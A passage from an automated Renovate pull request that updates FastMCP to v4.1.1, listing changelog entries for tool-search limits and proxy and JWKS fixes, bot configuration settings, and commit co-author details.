- Keep linked skill folders discoverable by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5766](PrefectHQ/fastmcp#5766)
- Bound regex tool search by pattern length and time by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) and [@&#8203;SAYUTIM](https://github.com/SAYUTIM) in [#&#8203;5771](PrefectHQ/fastmcp#5771)

##### Fixes 🐞

- Keep an unparseable proxy setting from aborting the update check by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) and [@&#8203;ker2xu](https://github.com/ker2xu) in [#&#8203;5639](PrefectHQ/fastmcp#5639)
- Keep the JWKS refresh lock clear of subclass attributes by [@&#8203;zzstoatzz](https://github.com/zzstoatzz) in [#&#8203;5770](PrefectHQ/fastmcp#5770)

##### Examples & Contrib 💡

- fix: convert version query param to VersionSpec in component manager routes by [@&#8203;BlueX888](https://github.com/BlueX888) in [#&#8203;5575](PrefectHQ/fastmcp#5575)

#### New Contributors

- [@&#8203;ker2xu](https://github.com/ker2xu) made their first contribution in [#&#8203;5639](PrefectHQ/fastmcp#5639)

**Full Changelog**: <PrefectHQ/fastmcp@v4.1.0...v4.1.1>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODEuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJzZWN1cml0eSJdfQ==-->

---------

Co-authored-by: Luke Tainton <[email protected]>
Reviewed-on: https://git.tainton.uk/repos/labmcp/pulls/82
Reviewed-by: Luke Tainton <[email protected]>
Co-authored-by: renovate[bot] <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working. Reports of errors, unexpected behavior, or broken functionality. missing-issue-link server Related to FastMCP server implementation or server-side functionality.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Bug] Non-string skill frontmatter description silently removes the skill from resource listings

2 participants